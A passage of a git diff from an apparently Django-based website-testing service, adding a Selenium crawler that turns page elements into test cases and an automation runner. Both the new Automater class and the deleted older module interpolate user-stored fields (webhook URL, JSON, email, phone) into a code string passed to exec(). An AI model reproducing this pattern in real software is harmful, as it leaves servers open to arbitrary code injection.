self.driver.execute_script(self.selector_script, elem) + elem_xpath = self.driver.execute_script(self.xpath_script, elem) + elem_img = self.get_element_image(element=elem) + relative_url = self.get_relative_url(self.driver.current_url) + + # found new element, record, click, & continue + if elem.tag_name == 'a' or elem.tag_name == 'button': + + # record element + sub_elements.append({ + 'selector': elem_selector, + 'xpath': elem_xpath, + 'elem_type': elem.tag_name, + 'placeholder': None, + 'value': None, + 'type': None, + 'data': None, + 'action': 'click', + 'path': relative_url, + 'img': elem_img, + 'elements': None, + }) + + # click element + try: + elem.click() + except Exception as e: + print('Element not Clickable, removing') + sub_elements.pop() + + # add to layers and ending internal loop + added = True + run = True + + + # found new input or textarea + elif elem.tag_name == 'input' or elem.tag_name == 'textarea': + + # getting element values and type + type = str(elem.get_attribute('type')) + value = elem.get_attribute('value') + if elem.tag_name == 'textarea': + type = 'textarea' + + # record element + sub_elements.append({ + 'selector': elem_selector, + 'xpath': elem_xpath, + 'elem_type': elem.tag_name, + 'placeholder': elem.get_attribute('placeholder'), + 'value': value, + 'type': type, + 'data': self.input_types[type]['test_data'], + 'action': self.input_types[type]['action'], + 'path': relative_url, + 'img': elem_img, + 'elements': None, + }) + + # add to layers and ending internal loop + added = True + run = True + + + # found new form, record and end run + elif elem.tag_name == 'form': + + # record form into sub_elements list + sub_elements = self.record_forms( + elements=sub_elements, + form=elem + ) + + # add to layers and ending case + added = True + run = False + + data = { + 'sub_elements': sub_elements, + 'run': run, + 'added': added + } + + return data + + + + + def record_forms(self, elements: list, form: object=None) -> list: + + # wait for page to load + driver_wait( + driver=self.driver, + interval=self.configs.get('interval'), + max_wait_time=self.configs.get('max_wait_time'), + min_wait_time=self.configs.get('min_wait_time'), + ) + + # building forms list + if form is None: + # get all forms on the page + forms = self.driver.find_elements(By.TAG_NAME, "form") + else: + # adding single form to que + forms = [form] + + # begin iteration of
gathering + for form in forms: + + # get form selector & xpath + form_selector = self.driver.execute_script(self.selector_script, form) + form_xpath = self.driver.execute_script(self.xpath_script, form) + + print(f'recording form -> {form_selector}') + + # getting form text + elem_text = self.get_elem_text(selector=form_selector) + + # get form image + form_img = self.get_element_image(element=form) + + # defining form.elements + sub_elements = [] + + # get all input fields in form + inputs = form.find_elements(By.TAG_NAME, "input") + # iterate through each input + for i in inputs: + + if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i): + # get input data + input_selector = self.driver.execute_script(self.selector_script, i) + input_xpath = self.driver.execute_script(self.xpath_script, i) + placeholder = i.get_attribute('placeholder') + value = i.get_attribute('value') + type = str(i.get_attribute('type')) + img = self.get_element_image(element=i) + relative_url = self.get_relative_url(self.driver.current_url) + + sub_elements.append({ + 'selector': input_selector, + 'xpath': input_xpath, + 'elem_type': i.tag_name, + 'placeholder': placeholder, + 'value': value, + 'type': type, + 'data': self.input_types[type]['test_data'], + 'action': self.input_types[type]['action'], + 'path': relative_url, + 'img': img, + 'elements': None, + }) + + + # get all textarea fields in form + textareas = form.find_elements(By.TAG_NAME, "textarea") + # iterate through each input + for i in textareas: + + if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i): + # get input data + input_selector = self.driver.execute_script(self.selector_script, i) + input_xpath = self.driver.execute_script(self.xpath_script, i) + placeholder = i.get_attribute('placeholder') + type = str(i.get_attribute('type')) + img = self.get_element_image(element=i) + relative_url = self.get_relative_url(self.driver.current_url) + + sub_elements.append({ + 'selector': input_selector, + 'xpath': input_xpath, + 'elem_type': i.tag_name, + 'placeholder': placeholder, + 'value': None, + 'type': type, + 'data': self.input_types['textarea']['test_data'], + 'action': self.input_types['textarea']['action'], + 'path': relative_url, + 'img': img, + 'elements': None, + }) + + + # get all iframes elements in form + iframes = form.find_elements(By.TAG_NAME, "iframe") + # iterate through iframes and save data + for iframe in iframes: + + # get iframe data + iframe_selector = self.driver.execute_script(self.selector_script, iframe) + iframe_xpath = self.driver.execute_script(self.xpath_script, iframe) + iframe_img = self.get_element_image(element=iframe) + relative_url = self.get_relative_url(self.driver.current_url) + + # get all inputs for iframe + iframe_inputs = iframe.find_elements(By.TAG_NAME, "input") + + # iterate through each input + iframe_elements = [] + for i in iframe_inputs: + + if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i): + # get input data + input_selector = self.driver.execute_script(self.selector_script, i) + input_xpath = self.driver.execute_script(self.selector_script, i) + placeholder = i.get_attribute('placeholder') + value = i.get_attribute('value') + type = str(i.get_attribute('type')) + img = self.get_element_image(element=i) + relative_url = self.get_relative_url(self.driver.current_url) + + # save internal iframe data + iframe_elements.append({ + 'selector': input_selector, + 'xpath': input_xpath, + 'elem_type': i.tag_name, + 'placeholder': placeholder, + 'value': value, + 'type': type, + 'data': self.input_types[type]['test_data'], + 'action': self.input_types[type]['action'], + 'path': relative_url, + 'img': img, + 'elements': None, + }) + + # save sub elem data + sub_elements.append({ + 'selector': iframe_selector, + 'xpath': iframe_xpath, + 'elem_type': iframe.tag_name, + 'placeholder': None, + 'value': None, + 'type': None, + 'data': None, + 'action': 'switch_to_frame', + 'path': relative_url, + 'img': iframe_img, + 'elements': iframe_elements, + }) + + + # get all button elements in form + btns = form.find_elements(By.TAG_NAME, "button") + # iterate through each btn + for btn in btns: + + if self.is_element_visible(btn): + # get button data + btn_selector = self.driver.execute_script(self.selector_script, btn) + btn_xpath = self.driver.execute_script(self.xpath_script, btn) + type = str(btn.get_attribute('type')) + btn_img = self.get_element_image(element=btn) + relative_url = self.get_relative_url(self.driver.current_url) + + sub_elements.append({ + 'selector': btn_selector, + 'xpath': btn_xpath, + 'elem_type': 'button', + 'placeholder': None, + 'value': None, + 'type': type, + 'data': None, + 'elements': None, + 'action': 'click', + 'path': relative_url, + 'img': btn_img, + 'elements': None, + }) + + # save elem data + elements.append({ + 'selector': form_selector, + 'xpath': form_xpath, + 'elem_type': 'form', + 'elem_text': elem_text, + 'value': None, + 'type': None, + 'data': None, + 'action': None, + 'path': relative_url, + 'img': form_img, + 'elements': sub_elements, + + }) + + # return elements array + return elements + + + + + def get_elements(self) -> list: + + # get site page + if self.start_url is not None: + self.driver.get(self.start_url) + if self.start_url is None: + self.driver.get(self.site.site_url) + start_page = self.driver.current_url + + # record all forms and sub_elements on page + self.elements = self.record_forms(elements=self.elements) + + # grab all buttons + buttons = self.driver.find_elements(By.TAG_NAME, "button") + + # grab all links + links = self.driver.find_elements(By.TAG_NAME, "a") + + # combine buttons and links + start_elms = buttons + links + + # clean start element + cleaned_start_elems = self.get_clean_elements(start_elms) + + # sorting start_elems + sorted_elements = self.get_priority_elements( + elements=cleaned_start_elems, + ) + priority_elements = sorted_elements['priority_elements'] + non_priority_elements = sorted_elements['non_priority_elements'] + + # ending early if not enough elements to generate with + if len(priority_elements) <= 1 and len(non_priority_elements) <= 1: + return self.elements + + # choosing random priority element + if len(priority_elements) > 0: + choosen = priority_elements[ + random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0 + ] + self.final_start_elements.append( + self.driver.execute_script(self.selector_script, choosen) + ) + + # adding random elements to self.final_start_elements[] + # until max_cases" is reached + iterations = 0 + while (len(self.final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases): + + # random choice + choosen = non_priority_elements[ + random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0 + ] + + # checking if chosen element is visible + if not self.is_element_visible(choosen): + iterations += 1 + continue + + # check if element exists in self.final_start_elements[] + selector = self.driver.execute_script(self.selector_script, choosen) + if selector in self.final_start_elements: + iterations += 1 + continue + + # ensuring link is local to site + if choosen.tag_name == 'a': + link_text = choosen.get_attribute('href') + + # check it elem_link is blank + if link_text is None: + print('link_text not present') + iterations += 1 + continue + + if link_text is not None: + if link_text.startswith(self.get_url_root(start_page)): + self.final_start_elements.append(selector) + + # adding if button + if choosen.tag_name == 'button': + self.final_start_elements.append(selector) + + # forcing loop to quit if not enough cases are created + iterations += 1 + + + # begin elem iteration + iterations = 0 + for selector in self.final_start_elements: + + # ensuring we're at start_page + if self.driver.current_url != start_page: + self.driver.get(start_page) + driver_wait( + driver=self.driver, + interval=self.configs.get('interval'), + max_wait_time=self.configs.get('max_wait_time'), + min_wait_time=self.configs.get('min_wait_time'), + ) + + # getting element by selector + try: + element = self.driver.find_element(By.CSS_SELECTOR, selector) + except Exception as e: + print('Element not Reachable, removing') + self.final_start_elements.remove(selector) + iterations += 1 + continue + + # get element info + element_img = self.get_element_image(element=element) + element_type = element.tag_name + elem_relative_url = self.get_relative_url(self.driver.current_url) + elem_text = self.get_elem_text(selector=selector) + xpath = self.driver.execute_script(self.xpath_script, element) + + print(f'working on this start element -> {selector}') + + # get all current elements and url before action + old_elements = self.get_current_elements() + previous_url = self.driver.current_url + + # perform first action + try: + element.click() + except Exception as e: + print('Element not Clickable, removing') + self.final_start_elements.remove(selector) + continue + + + # begin layering (max_layers) + layers = 0 + run = True + sub_elements = [] + while layers < self.max_layers and run: + + print(f'on layer -> {layers}') + + # driver wait + driver_wait( + driver=self.driver, + interval=self.configs.get('interval'), + max_wait_time=self.configs.get('max_wait_time'), + min_wait_time=self.configs.get('min_wait_time'), + ) + + # check current page + if self.driver.current_url == previous_url: + + # check for new element + new_elements = self.get_current_elements() + + # cleaning new elements + cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements) + + # iterating through each elem + recorded_element = False + for elem in cleaned_elements: + + # record element and increment if necessary + data = self.record_new_element(elem, sub_elements) + run = data['run'] + layers += 1 if data['added'] else 0 + sub_elements = data['sub_elements'] + recorded_element = data['added'] + + # add to layers + if not recorded_element: + layers += 1 + + + # check if page is different but still on site + elif self.driver.current_url != previous_url and \ + self.driver.current_url.startswith(self.get_url_root(previous_url)): + + # get new elements and randomly choose 1 (with priority) + new_elements = self.get_current_elements() + + # cleaning new elements + cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements) + + # sort new elements + sorted_elements = self.get_priority_elements( + elements=cleaned_elements, + ) + priority_elements = sorted_elements['priority_elements'] + non_priority_elements = sorted_elements['non_priority_elements'] + elem = None + + # choosing random priority elememt + if len(priority_elements) > 0: + elem = priority_elements[ + random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0 + ] + print(f'chose priority element | type -> {elem.tag_name}') + + # choosing a random non-priority element + elif len(non_priority_elements) > 0: + elem = non_priority_elements[ + random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0 + ] + print(f'chose non-priority element | type -> {elem.tag_name}') + + # returning early if no elem selected + if not elem: + print('no element was selected') + # add to layers and ending case + layers += 1 + run = False + break + + # record element and increment if necessary + data = self.record_new_element(elem, sub_elements) + run = data['run'] + layers += 1 if data['added'] else 0 + sub_elements = data['sub_elements'] + + # catching all other situations + # naving back to previous_url + if not data['added']: + print('no coditions were met') + # add to layers + layers += 1 + # going back + self.driver.get(previous_url) + + # catching all other situations + # naving back to previous_url + else: + print('no coditions were met') + # add to layers + layers += 1 + # going back + self.driver.get(previous_url) + + + # adding final info to elememt list + self.elements.append({ + 'selector': selector, + 'xpath': xpath, + 'elem_type': element_type, + 'elem_text': elem_text, + 'placeholder': None, + 'value': None, + 'type': None, + 'data': None, + 'action': 'click', + 'path': elem_relative_url, + 'img': element_img, + 'elements': sub_elements, + }) + + # counting for process + iterations += 1 + + # update process + self.update_process(current=iterations, total=len(self.final_start_elements)) + + # quit driver session + quit_driver(self.driver) + + # return elements + return self.elements + + + + + def build_cases(self) -> None: + + # run get_elements + try: + elements = self.get_elements() + except Exception as e: + # catching failures + print(e) + elements = [] + + + # get/decide on value for element + def get_elem_value(element): + if element['value'] == None or len(element['value']) <= 0: + return element['data'] + else: + return element['value'] + + # for each high-level element, + # build a new `Case` and save "steps" + # as .json file uploaded to S3 + for element in elements: + + # defining "steps" + steps = [] + + # adding firt step, which is naving + # to the the starting element's 'path' + steps.append({ + "action":{ + "key": "", + "path": element['path'], + "type": "navigate", + "value": "", + "element": "" + }, + "assertion":{ + "type": "", + "value": "", + "element": { + "selector": "", + "xpath": "", + }, + } + }) + + # adding second step if starting + # element is not a form + if element['elem_type'] != 'form': + steps.append({ + "action":{ + "key": "", + "path": element['path'], + "type": element['action'], + "value": get_elem_value(element), + "element": { + "selector": element['selector'], + "xpath": element['xpath'], + }, + "img": element['img'] + }, + "assertion":{ + "type": "", + "value": "", + "element": { + "selector": "", + "xpath": "", + }, + } + }) + + + # sub_element mapping using recursion + def sub_element_mapping(elements, steps): + if element['elements'] != None: + for elem in elements: + # add step + if elem['action'] is not None: + steps.append({ + "action":{ + "key": "", + "path": elem['path'], + "type": elem['action'], + "value": get_elem_value(elem), + "element": { + "selector": elem['selector'], + "xpath": elem['xpath'], + }, + "img": elem['img'] + }, + "assertion":{ + "type": "", + "value": "", + "element": { + "selector": "", + "xpath": "", + }, + } + }) + + # check if sub_elements exists + if elem['elements'] != None: + sub_element_mapping(elem['elements'], steps) + + # return mapped sub_elements in steps + return steps + + + # add sub_elements to steps + steps = sub_element_mapping(element['elements'], steps) + + # create .json file for steps and upload to s3 + case_id = uuid.uuid4() + + # saving as json file temporarily + with open(f'{case_id}.json', 'w') as fp: + json.dump(steps, fp) + + # seting up paths + steps_file = os.path.join(settings.BASE_DIR, f'{case_id}.json') + remote_path = f'static/cases/{case_id}.json' + root_path = settings.AWS_S3_URL_PATH + steps_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(steps_file, 'rb') as data: + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"} + ) + + # remove local copy + os.remove(steps_file) + + # save new Case + Case.objects.create( + id = case_id, + site = self.site, + site_url = self.site.site_url, + user = self.site.user, + account = self.site.account, + name = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}', + type = "generated", + steps = { + 'url': steps_url, + 'num_steps': len(steps) + }, + ) + + # update process + self.update_process(current=1, total=1, complete=True) + + + return None + + + + diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py new file mode 100644 index 00000000..07885c5b --- /dev/null +++ b/app/api/utils/automater.py @@ -0,0 +1,325 @@ +from ..models import * +from .alerts import * +import re, uuid + + + + + + +class Automater(): + """ + Build and execute `Automation` logic generated by a user. + + Expects: { + 'automation_id' : str, + 'object_id' : str + } + + Use `Automater.run_automation()` to run an `Automation` + + Returns -> None + """ + + + def __init__(self, automation_id: str=None, object_id: str=None): + + self.automation = Automation.objects.get(id=automation_id) + self.object_id = object_id + self.exp_list = [] + self.act_list = [] + self.object = None + self.use_exp = True + + + + + def get_object(self) -> bool: + """ + Tries to get the focus object from self.object - if found + will set self.object and self.use_exp + + Returns -> bool or object + """ + + if self.automation.schedule.task_type == 'scan': + try: + self.object = Scan.objects.get(id=self.object_id) + except: + return False + + elif self.automation.schedule.task_type == 'test': + try: + self.object = Test.objects.get(id=self.object_id) + except: + return False + + elif self.automation.schedule.task_type == 'report': + try: + self.object = Report.objects.get(id=self.object_id) + self.use_exp = False + except: + return False + + elif self.automation.schedule.task_type == 'testcase': + try: + self.object = Testcase.objects.get(id=self.object_id) + self.use_exp = True + except: + return False + + else: + return False + + + + + def build_exp_list(self) -> None: + """ + Loop through the automation.expressions + and rebuilds into self.exp_list + + Returns -> None + """ + + # begin iteration + for expression in self.automation.expressions: + + # set defaults + exp = None + data_type = None + operator = ' == ' + joiner = '' + data_type = 'self.object.status' + value = f"str('{str(expression['value'])}')" + + # getting data + if self.object: + + # get comparison value + if expression['data_type'] != 'testcase_status' and expression['data_type'] != 'test_status': + value = str(float(re.search(r'\d+', str(expression['value'])).group())) + + # get operator + if '>=' in expression['operator']: + operator = ' >= ' + elif '<=' in expression['operator']: + operator = ' <= ' + else: + operator = ' == ' + + # get joiner + if 'and' in expression['joiner']: + joiner = ' and ' + elif 'or' in expression['joiner']: + joiner = ' or ' + else: + joiner = '' + + + # high-level test data + if 'test_score' in expression['data_type']: + data_type = 'float(self.object.score)' + elif 'current_health' in expression['data_type']: + data_type = '((float(self.object.lighthouse_delta["scores"].get("current_average",0)) + float(self.object.yellowlab_delta["scores"].get("current_average",0)))/2)' + elif 'avg_image_score' in expression['data_type']: + data_type = 'float(self.object.images_delta.get("average_score",0))' + elif 'image_scores' in expression['data_type']: + data_type = '[i["score"] for i in self.object.images_delta["images"]]' + exp = f'{joiner}any(i{operator}{value} for i in {data_type})' + elif 'test_status' in expression['data_type']: + data_type = 'self.object.status' + # high-level scan data + elif 'health' in expression['data_type']: + data_type = '((float(self.object.lighthouse["scores"].get("average",0)) + float(self.object.yellowlab["scores"].get("globalScore",0)))/2)' + elif 'logs' in expression['data_type']: + data_type = 'len(self.object.logs)' + + # LH test data + elif 'current_lighthouse_average' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"].get("current_average",0))' + elif 'seo_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"].get("seo_delta",0))' + elif 'pwa_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"].get("pwa_delta",0))' + elif 'crux_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"].get("crux_delta",0))' + elif 'best_practices_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"].get("best_practices_delta", 0))' + elif 'performance_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"].get("performance_delta",0))' + elif 'accessibility_delta' in expression['data_type']: + data_type = 'float(self.object.lighthouse_delta["scores"].get("accessibility_delta",0))' + + # LH scan data + elif 'lighthouse_average' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"].get("average",0))' + elif 'seo' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"].get("seo",0))' + elif 'pwa' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"].get("pwa",0))' + elif 'crux' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"].get("crux",0))' + elif 'best_practices' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"].get("best_practices",0))' + elif 'performance' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"].get("performance",0))' + elif 'accessibility' in expression['data_type']: + data_type = 'float(self.object.lighthouse["scores"].get("accessibility",0))' + + # YL test data + elif 'current_yellowlab_average' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("current_average",0))' + elif 'pageWeight_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("pageWeight_delta",0))' + elif 'images_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("images_delta",0))' + elif 'domComplexity_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("domComplexity_delta",0))' + elif 'javascriptComplexity_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("javascriptComplexity_delta",0))' + elif 'badJavascript_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("badJavascript_delta",0))' + elif 'jQuery_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("jQuery_delta",0))' + elif 'cssComplexity_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("cssComplexity_delta",0))' + elif 'badCSS_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("badCSS_delta",0))' + elif 'fonts_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("fonts_delta",0))' + elif 'serverConfig_delta' in expression['data_type']: + data_type = 'float(self.object.yellowlab_delta["scores"].get("serverConfig_delta",0))' + + # LH scan data + elif 'yellowlab_average' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("globalScore",0))' + elif 'pageWeight' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("pageWeight",0))' + elif 'images' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("images",0))' + elif 'domComplexity' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("domComplexity",0))' + elif 'javascriptComplexity' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("javascriptComplexity",0))' + elif 'badJavascript' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("badJavascript",0))' + elif 'jQuery' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("jQuery",0))' + elif 'cssComplexity' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("cssComplexity",0))' + elif 'badCSS' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("badCSS",0))' + elif 'fonts' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("fonts",0))' + elif 'serverConfig' in expression['data_type']: + data_type = 'float(self.object.yellowlab["scores"].get("serverConfig",0))' + + # building exp if not defiined + if exp is None: + exp = f'{joiner}{data_type}{operator}{value}' + + # adding exp to exp_list + self.exp_list.append(exp) + + return None + + + + + def build_act_list(self) -> None: + """ + Loop through the automation.actions + and rebuilds into self.act_list + + Returns -> None + """ + + # begin iteration + for action in self.automation.actions: + + if 'slack' in action['action_type']: + action_type = str( + f"\n print('sending slack alert')" + + f"\n automation_slack(automation_id='{str(self.automation.id)}'," + + f" object_id='{str(self.object_id)}')" + ) + + if 'webhook' in action['action_type']: + action_type = str( + f"\n print('sending webhook alert')" + + f"\n automation_webhook(request_type='{action['request']}'," + + f" request_url='{action['url']}', request_data='{action['json']}'," + + f" automation_id='{str(self.automation.id)}'," + + f" object_id='{str(self.object_id)}')" + ) + + if 'email' in action['action_type']: + action_type = str( + f"\n print('sending email alert')" + + f"\n automation_email(email='{action['email']}'," + + f" automation_id='{str(self.automation.id)}'," + + f" object_id='{str(self.object_id)}')" + ) + if type(self.object).__name__ == 'Report': + action_type = str( + f"\n print('sending report email')" + + f"\n automation_report_email(email='{action['email']}'," + + f" automation_id='{str(self.automation.id)}'," + + f" object_id='{str(self.object_id)}')" + ) + + if 'phone' in action['action_type']: + action_type = str( + f"\n print('sending phone alert')" + + f"\n automation_phone(phone_number='{action['phone']}'," + + f" automation_id='{str(self.automation.id)}'," + + f" object_id='{str(self.object_id)}')" + ) + + # adding action to act_list + self.act_list.append(action_type) + + + + + def run_automation(self) -> None: + + # get object data + self.get_object() + + # setting default + exp_string = '1 == 1' + + # if obj was retrieved + if self.object: + + # build expression if self.use_exp + if self.use_exp: + self.build_exp_list() + exp_string = ' '.join(self.exp_list) + + # build action list + self.build_act_list() + act_string = ''.join(self.act_list) + + # building final exec str + automation_logic = f'if {exp_string}:{act_string}' + print(automation_logic) + + # executing automation logic + exec(automation_logic) + + return None + + + + + + + + + + + + \ No newline at end of file diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py deleted file mode 100644 index ea7be1b9..00000000 --- a/app/api/utils/automations.py +++ /dev/null @@ -1,242 +0,0 @@ -from ..models import * -from .alerts import * -import re, uuid - - - -def automation(automation_id, object_id): - automation = Automation.objects.get(id=automation_id) - schedule = automation.schedule - expressions = automation.expressions - exp_list = [] - actions = automation.actions - act_list = [] - scan = None - test = None - report = None - testcase = None - use_exp = True - - if schedule.task_type == 'scan': - try: - scan = Scan.objects.get(id=object_id) - except: - return False - - elif schedule.task_type == 'test': - try: - test = Test.objects.get(id=object_id) - except: - return False - - elif schedule.task_type == 'report': - try: - report = Report.objects.get(id=object_id) - use_exp = False - except: - return False - elif schedule.task_type == 'testcase': - try: - testcase = Testcase.objects.get(id=object_id) - use_exp = True - except: - return False - else: - return False - - - - - if use_exp: - - for expression in expressions: - - exp = None - data_type = None - - if testcase == None: - value = str(float(re.search(r'\d+', str(expression['value'])).group())) - - if '>=' in expression['operator']: - operator = ' >= ' - else: - operator = ' <= ' - - if 'and' in expression['joiner']: - joiner = ' and ' - elif 'or' in expression['joiner']: - joiner = ' or ' - else: - joiner = '' - - if testcase != None: - operator = ' == ' - joiner = '' - data_type = 'testcase.passed' - value = str(expression['value']) - - - if 'test_score' in expression['data_type']: - data_type = 'float(test.score)' - - # lighthouse test data - elif 'current_lighthouse_average' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["current_average"])' - elif 'seo_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["seo_delta"])' - elif 'pwa_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["pwa_delta"])' - elif 'crux_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["crux_delta"])' - elif 'best_practices_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["best_practices_delta"])' - elif 'performance_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["performance_delta"])' - elif 'accessibility_delta' in expression['data_type']: - data_type = 'float(test.lighthouse_delta["scores"]["accessibility_delta"])' - # lighthouse scan data - elif 'lighthouse_average' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["average"])' - elif 'seo' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["seo"])' - elif 'pwa' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["pwa"])' - elif 'crux' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["crux"])' - elif 'best_practices' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["best_practices"])' - elif 'performance' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["performance"])' - elif 'accessibility' in expression['data_type']: - data_type = 'float(scan.lighthouse["scores"]["accessibility"])' - - # yellowlab test data - elif 'current_yellowlab_average' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["current_average"])' - elif 'pageWeight_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])' - elif 'requests_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["requests_delta"])' - elif 'domComplexity_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])' - elif 'javascriptComplexity_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["javascriptComplexity_delta"])' - elif 'badJavascript_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["badJavascript_delta"])' - elif 'jQuery_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["jQuery_delta"])' - elif 'cssComplexity_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["cssComplexity_delta"])' - elif 'badCSS_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["badCSS_delta"])' - elif 'fonts_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["fonts_delta"])' - elif 'serverConfig_delta' in expression['data_type']: - data_type = 'float(test.yellowlab_delta["scores"]["serverConfig_delta"])' - # yellowlab scan data - elif 'yellowlab_average' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["globalScore"])' - elif 'pageWeight' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["pageWeight"])' - elif 'requests' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["requests"])' - elif 'domComplexity' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["domComplexity"])' - elif 'javascriptComplexity' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["javascriptComplexity"])' - elif 'badJavascript' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["badJavascript"])' - elif 'jQuery' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["jQuery"])' - elif 'cssComplexity' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["cssComplexity"])' - elif 'badCSS' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["badCSS"])' - elif 'fonts' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["fonts"])' - elif 'serverConfig' in expression['data_type']: - data_type = 'float(scan.yellowlab["scores"]["serverConfig"])' - - - elif 'logs' in expression['data_type']: - data_type = 'len(scan.logs)' - - elif 'current_health' in expression['data_type']: - data_type = '((float(test.lighthouse_delta["scores"]["current_average"]) + float(test.yellowlab_delta["scores"]["current_average"]))/2)' - - elif 'health' in expression['data_type']: - data_type = '((float(scan.lighthouse["scores"]["average"]) + float(scan.yellowlab["scores"]["globalScore"]))/2)' - - elif 'avg_image_score' in expression['data_type']: - data_type = 'float(test.images_delta["average_score"])' - - elif 'image_scores' in expression['data_type']: - data_type = '[i["score"] for i in test.images_delta["images"]]' - exp = f'{joiner}any(i{operator}{value} for i in {data_type})' - - if exp is None: - exp = f'{joiner}{data_type}{operator}{value}' - - exp_list.append(exp) - - - - for action in actions: - - if 'slack' in action['action_type']: - action_type = f"\n print('sending slack alert')\ - \n automation_slack(automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - if 'webhook' in action['action_type']: - action_type = f"\n print('sending webhook alert')\ - \n automation_webhook(request_type='{action['request']}', \ - request_url='{action['url']}', request_data='{action['json']}', \ - automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - if 'email' in action['action_type']: - action_type = f"\n print('sending email alert')\ - \n automation_email(email='{action['email']}',\ - automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - if report: - action_type = f"\n print('sending report email')\ - \n automation_report_email(email='{action['email']}',\ - automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - if 'phone' in action['action_type']: - action_type = f"\n print('sending phone alert')\ - \n automation_phone(phone_number='{action['phone']}', \ - automation_id='{str(automation.id)}', \ - object_id='{str(object_id)}')" - - act = f'{action_type}' - act_list.append(act) - - - exp_string = ' '.join(exp_list) - act_string = ''.join(act_list) - - if not use_exp: - exp_string = '1 == 1' - - automation_logic = f'if {exp_string}:{act_string}' - print(automation_logic) - exec(automation_logic) - - return True - - - - - - - - - - - - \ No newline at end of file diff --git 